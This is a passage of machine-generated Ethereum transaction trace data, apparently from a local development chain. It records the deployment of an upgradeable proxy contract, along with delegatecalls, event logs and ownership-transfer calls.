000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x00000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af80000000000000000000000000000000000000000000000000000000000000032"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":3}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4},{"Log":5},{"Call":0},{"Call":1},{"Call":2},{"Log":6}]},{"parent":2,"children":[4],"idx":3,"trace":{"depth":3,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xff694a770000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000","output":"0x","gas_used":170301,"gas_limit":391547,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":3,"children":[],"idx":4,"trace":{"depth":4,"success":true,"caller":"0x95401dc811bb5740090279ba06cfa8fcf6113778","address":"0x99bba657f2bbc93c02d617f8ba121cb8fc104acf","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xff694a770000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000","output":"0x","gas_used":162979,"gas_limit":378259,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2}]},{"parent":2,"children":[6],"idx":5,"trace":{"depth":3,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x26d941f20000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":52363,"gas_limit":221086,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":5,"children":[],"idx":6,"trace":{"depth":4,"success":true,"caller":"0xf5059a5d33d5853360d16c683c16e67980206f36","address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x26d941f20000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":45068,"gas_limit":210488,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]},{"parent":2,"children":[8],"idx":7,"trace":{"depth":3,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x26d941f20000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":52505,"gas_limit":166720,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":7,"children":[],"idx":8,"trace":{"depth":4,"success":true,"caller":"0x998abeb3e57409262ae5b751f60747921b33613e","address":"0x8f86403a4de0bb5791fa46b8e795c547942fe4cf","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0x26d941f20000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":45210,"gas_limit":156972,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Stop","out":"0x","nonce":47,"gas_used":572712},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x712cee","logs":[{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd00"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x00000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000002af80000000000000000000000000000000000000000000000000000000000000032"},{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0x10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d"},{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0x11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000de0b6b3a7640000"},{"address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","topics":["0x26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},{"address":"0x851356ae760d987e095750cceb3bc6014560891c","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000001000000000040000000400400000000000000800000020000000000000800000000000000000000000000000000000000100800000000000000000080000000008000002400000102000001000400000010000000008000000000000000020000000000008100010820000000080200000000000000000000400100000100000000000000000000000000000000000080000000000000000000000000000000000000200000400400000000000000000000000000000000000000000020480000280000000000041100000000002000000000000000000020000000000000400000080000800000000000000000000000000000100000408000"},"block_hash":"0x8eecd2201ca2fdea7d1a691a450ac2195037df85b0ac1dc9384b81dc86d4ac37","block_number":7},{"info":{"transaction_hash":"0x32d750f5feeb1af8de1e0b38bad3656230865f0dd40141d45f142a67b85d10cb","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x998abeb3e57409262ae5b751f60747921b33613e","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x998abeb3e57409262ae5b751f60747921b33613e","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":39,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0x998abeb3e57409262ae5b751f60747921b33613e","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x998abeb3e57409262ae5b751f60747921b33613e","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00002000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000080400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000100000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x12aebe12aae19018b1e2fd15191a0caf7d9de830d189db418ba9ce46e8667c70","block_number":4},{"info":{"transaction_hash":"0x347311dd2eae16c262b7d5948ddae2c69deee29611e6e968d4aa42329bdb45bc","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4371,"gas_limit":16304,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":53,"gas_used":25803},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64cb","logs":[{"address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000008000000000"},"block_hash":"0xcfc3b4b2b468137c5f6bb766379dddb6922124bf2eb4d0c4482d7505e79f5d64","block_number":12},{"info":{"transaction_hash":"0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","contract_address":null,"traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xf2fde38b000000000000000000000000f39fd6e5